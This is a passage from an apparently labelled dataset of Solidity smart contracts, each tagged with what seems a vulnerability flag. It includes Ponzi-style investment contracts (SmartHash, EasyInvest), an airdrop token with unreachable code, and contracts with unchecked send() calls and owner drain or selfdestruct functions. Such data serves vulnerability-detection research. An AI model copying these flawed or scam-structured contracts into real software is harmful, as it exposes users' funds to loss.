mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "TrekChain";
string public constant symbol = "TREK";
uint public constant decimals = 18;
uint256 public totalSupply = 1200000000e18;
uint256 public totalDistributed = 480000000e18;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value = 7200e18;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function TrekChain() public {
owner = msg.sender;
balances[owner] = totalDistributed;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (value > totalRemaining) {
value = totalRemaining;
}
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(100000).mul(99999);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = address(this).balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 | 3,401 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract SmartHash {
using SafeMath for uint256;
uint256 constant public DEPOSIT_MINIMUM_AMOUNT = 10 finney;
uint256 constant public MAXIMUM_DEPOSITS_PER_USER = 50;
uint256 constant public MINIMUM_DAILY_PERCENT = 20;
uint256 constant public REFERRAL_PERCENT = 50;
uint256 constant public MARKETING_PERCENT = 50;
uint256 constant public MAXIMUM_RETURN_PERCENT = 1500;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public BALANCE_STEP = 100 ether;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public STEP_MULTIPLIER = 2;
address constant public MARKETING_ADDRESS = 0xd0396aAEcb5547776852aB8682Ba72E1209b536d;
uint256 public usersCount = 0;
uint256 public depositsCount = 0;
uint256 public totalDeposited = 0;
uint256 public totalWithdrawn = 0;
struct User {
uint256 deposited;
uint256 withdrawn;
uint256 timestamp;
uint256 depositsCount;
uint256[] deposits;
}
struct Deposit {
uint256 amount;
uint256 payed;
uint256 timestamp;
}
mapping (address => User) public users;
mapping (uint256 => Deposit) public deposits;
function() public payable {
if (msg.value >= DEPOSIT_MINIMUM_AMOUNT) {
makeDeposit();
} else {
payDividends();
}
}
function createUser() private {
users[msg.sender] = User({
deposited : 0,
withdrawn : 0,
timestamp : now,
depositsCount : 0,
deposits : new uint256[](0)
});
usersCount++;
}
function makeDeposit() private {
if (users[msg.sender].deposited == 0) {
createUser();
}
User storage user = users[msg.sender];
require(user.depositsCount < MAXIMUM_DEPOSITS_PER_USER);
Deposit memory deposit = Deposit({
amount : msg.value,
payed : 0,
timestamp : now
});
deposits[depositsCount] = deposit;
user.deposits.push(depositsCount);
user.deposited = user.deposited.add(msg.value);
totalDeposited = totalDeposited.add(msg.value);
user.depositsCount++;
depositsCount++;
uint256 marketingAmount = msg.value.mul(MARKETING_PERCENT).div(PERCENTS_DIVIDER);
MARKETING_ADDRESS.send(marketingAmount);
address refAddress = bytesToAddress(msg.data);
if (refAddress != address(0) && refAddress != msg.sender) {
uint256 refAmount = msg.value.mul(REFERRAL_PERCENT).div(PERCENTS_DIVIDER);
refAddress.send(refAmount);
}
}
function payDividends() private {
User storage user = users[msg.sender];
uint256 userMaximumReturn = user.deposited.mul(MAXIMUM_RETURN_PERCENT).div(PERCENTS_DIVIDER);
require(user.deposited > 0 && user.withdrawn < userMaximumReturn);
uint256 userDividends = 0;
for (uint256 i = 0; i < user.depositsCount; i++) {
if (deposits[user.deposits[i]].payed < deposits[user.deposits[i]].amount.mul(MAXIMUM_RETURN_PERCENT).div(PERCENTS_DIVIDER)) {
uint256 depositId = user.deposits[i];
Deposit storage deposit = deposits[depositId];
uint256 depositDividends = getDepositDividends(depositId, msg.sender);
userDividends = userDividends.add(depositDividends);
deposits[depositId].payed = deposit.payed.add(depositDividends);
deposits[depositId].timestamp = now;
}
}
msg.sender.transfer(userDividends.add(msg.value));
users[msg.sender].timestamp = now;
users[msg.sender].withdrawn = user.withdrawn.add(userDividends);
totalWithdrawn = totalWithdrawn.add(userDividends);
}
function getDepositDividends(uint256 depositId, address userAddress) private view returns (uint256) {
uint256 userActualPercent = getUserActualPercent(userAddress);
Deposit storage deposit = deposits[depositId];
uint256 timeDiff = now.sub(deposit.timestamp);
uint256 depositDividends = deposit.amount.mul(userActualPercent).div(PERCENTS_DIVIDER).mul(timeDiff).div(TIME_STEP);
uint256 depositMaximumReturn = deposit.amount.mul(MAXIMUM_RETURN_PERCENT).div(PERCENTS_DIVIDER);
if (depositDividends.add(deposit.payed) > depositMaximumReturn) {
depositDividends = depositMaximumReturn.sub(deposit.payed);
}
return depositDividends;
}
function getContractActualPercent() public view returns (uint256) {
uint256 contractBalance = address(this).balance;
uint256 balanceAddPercent = contractBalance.div(BALANCE_STEP).mul(STEP_MULTIPLIER);
return MINIMUM_DAILY_PERCENT.add(balanceAddPercent);
}
function getUserActualPercent(address userAddress) public view returns (uint256) {
uint256 contractActualPercent = getContractActualPercent();
User storage user = users[userAddress];
uint256 userMaximumReturn = user.deposited.mul(MAXIMUM_RETURN_PERCENT).div(PERCENTS_DIVIDER);
if (user.deposited > 0 && user.withdrawn < userMaximumReturn) {
uint256 timeDiff = now.sub(user.timestamp);
uint256 userAddPercent = timeDiff.div(TIME_STEP).mul(STEP_MULTIPLIER);
}
return contractActualPercent.add(userAddPercent);
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 userDividends = 0;
for (uint256 i = 0; i < user.depositsCount; i++) {
if (deposits[user.deposits[i]].payed < deposits[user.deposits[i]].amount.mul(MAXIMUM_RETURN_PERCENT).div(PERCENTS_DIVIDER)) {
userDividends = userDividends.add(getDepositDividends(user.deposits[i], userAddress));
}
}
return userDividends;
}
function getUserDeposits(address userAddress) public view returns (uint256[]){
return users[userAddress].deposits;
}
function bytesToAddress(bytes data) private pure returns (address addr) {
assembly {
addr := mload(add(data, 20))
}
}
} | 0 | 1,389 |
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0),"You can't transfer the ownership to this account");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Remote is Ownable, IERC20 {
using SafeMath for uint;
IERC20 internal _remoteToken;
address internal _remoteContractAddress;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveSpenderOnDex (address spender, uint256 value)
external onlyOwner returns (bool success) {
_remoteToken.approve(spender, value);
success = true;
}
function remoteTransferFrom (address from, address to, uint256 value) external onlyOwner returns (bool) {
return _remoteTransferFrom(from, to, value);
}
function setRemoteContractAddress (address remoteContractAddress)
external onlyOwner returns (bool success) {
_remoteContractAddress = remoteContractAddress;
_remoteToken = IERC20(_remoteContractAddress);
success = true;
}
function remoteBalanceOf(address owner) external view returns (uint256) {
return _remoteToken.balanceOf(owner);
}
function remoteTotalSupply() external view returns (uint256) {
return _remoteToken.totalSupply();
}
function remoteAllowance (address owner, address spender) external view returns (uint256) {
return _remoteToken.allowance(owner, spender);
}
function remoteBalanceOfDex () external view onlyOwner
returns(uint256 balance) {
balance = _remoteToken.balanceOf(address(this));
}
function remoteAllowanceOnMyAddress () public view
returns(uint256 myRemoteAllowance) {
myRemoteAllowance = _remoteToken.allowance(msg.sender, address(this));
}
function _remoteTransferFrom (address from, address to, uint256 value) internal returns (bool) {
return _remoteToken.transferFrom(from, to, value);
}
}
contract Dex is Remote {
event TokensPurchased(address owner, uint256 amountOfTokens, uint256 amountOfWei);
event TokensSold(address owner, uint256 amountOfTokens, uint256 amountOfWei);
event TokenPricesSet(uint256 sellPrice, uint256 buyPrice);
address internal _dexAddress;
uint256 public sellPrice = 200000000000;
uint256 public buyPrice = 650000000000;
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) public onlyOwner returns (bool success) {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
emit TokenPricesSet(sellPrice, buyPrice);
success = true;
}
function topUpEther() external payable {
}
function _purchaseToken (address sender, uint256 amountOfWei) internal returns (bool success) {
uint256 amountOfTokens = buyTokenExchangeAmount(amountOfWei);
uint256 dexTokenBalance = _remoteToken.balanceOf(_dexAddress);
require(dexTokenBalance >= amountOfTokens, "The VeriDex does not have enough tokens for this purchase.");
_remoteToken.transfer(sender, amountOfTokens);
emit TokensPurchased(sender, amountOfTokens, amountOfWei);
success = true;
}
function dexRequestTokensFromUser () external returns (bool success) {
uint256 amountAllowed = _remoteToken.allowance(msg.sender, _dexAddress);
require(amountAllowed > 0, "No allowance has been set.");
uint256 amountBalance = _remoteToken.balanceOf(msg.sender);
require(amountBalance >= amountAllowed, "Your balance must be equal or more than your allowance");
uint256 amountOfWei = sellTokenExchangeAmount(amountAllowed);
uint256 dexWeiBalance = _dexAddress.balance;
uint256 dexTokenBalance = _remoteToken.balanceOf(_dexAddress);
require(dexWeiBalance >= amountOfWei, "Dex balance must be equal or more than your allowance");
_remoteTransferFrom(msg.sender, _dexAddress, amountAllowed);
_remoteToken.approve(_dexAddress, dexTokenBalance.add(amountAllowed));
msg.sender.transfer(amountOfWei);
emit TokensSold(msg.sender, amountAllowed, amountOfWei);
success = true;
}
function etherBalance() public view returns (uint256 etherValue) {
etherValue = _dexAddress.balance;
}
function withdrawBalance() public onlyOwner returns (bool success) {
msg.sender.transfer(_dexAddress.balance);
success = true;
}
function buyTokenExchangeAmount(uint256 numberOfWei) public view returns (uint256 tokensOut) {
tokensOut = numberOfWei.mul(10**18).div(buyPrice);
}
function sellTokenExchangeAmount(uint256 numberOfTokens) public view returns (uint256 weiOut) {
weiOut = numberOfTokens.mul(sellPrice).div(10**18);
}
}
contract VeriDex is Dex {
string public symbol;
string public name;
uint8 public decimals;
constructor ( address remoteContractAddress)
public {
symbol = "VRDX";
name = "VeriDex";
decimals = 18;
_totalSupply = 20000000000 * 10**uint(decimals);
_remoteContractAddress = remoteContractAddress;
_remoteToken = IERC20(_remoteContractAddress);
_dexAddress = address(this);
balances[_owner] = _totalSupply;
emit Transfer(address(0), _owner, _totalSupply);
}
function() external payable {
require(_purchaseToken(msg.sender, msg.value), "Validation on purchase failed.");
}
function adminDoDestructContract() external onlyOwner {
selfdestruct(msg.sender);
}
function dexDetails() external view returns (
address dexAddress,
address remoteContractAddress) {
dexAddress = _dexAddress;
remoteContractAddress = _remoteContractAddress;
}
} | 1 | 3,564 |
pragma solidity ^0.4.24;
contract EasyInvest {
mapping (address => uint256) invested;
mapping (address => uint256) atBlock;
function () external payable {
if (invested[msg.sender] != 0) {
uint256 amount = invested[msg.sender] * 4 / 100 * (block.number - atBlock[msg.sender]) / 5900;
address sender = msg.sender;
sender.send(amount);
}
atBlock[msg.sender] = block.number;
invested[msg.sender] += msg.value;
}
} | 0 | 884 |
pragma solidity >=0.6.2 <0.8.0;
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity >=0.4.24 <0.8.0;
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
pragma solidity >=0.6.0 <0.8.0;
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.6.0 <0.8.0;
library SafeMathUpgradeable {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
pragma solidity >=0.6.0 <0.8.0;
library SafeERC20Upgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity >=0.6.0 <0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
pragma solidity 0.6.12;
interface IMintableCollection is IERC721 {
function burn(uint256 tokenId) external;
function mint(address to, uint256 tokenId) external;
}
pragma solidity 0.6.12;
interface IRewardable {
function addRewards(address rewardToken, uint256 amount) external;
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
pragma solidity 0.6.12;
abstract contract EmergencyWithdrawable is OwnableUpgradeable {
function emergencyWithdrawETH() external payable onlyOwner {
msg.sender.send(address(this).balance);
}
function emergencyWithdrawTokens(IERC20Upgradeable token) external onlyOwner {
token.transfer(msg.sender, token.balanceOf(address(this)));
}
}
pragma solidity >=0.6.0 <0.8.0;
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = toDeleteIndex + 1;
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
pragma solidity >=0.6.2 <0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
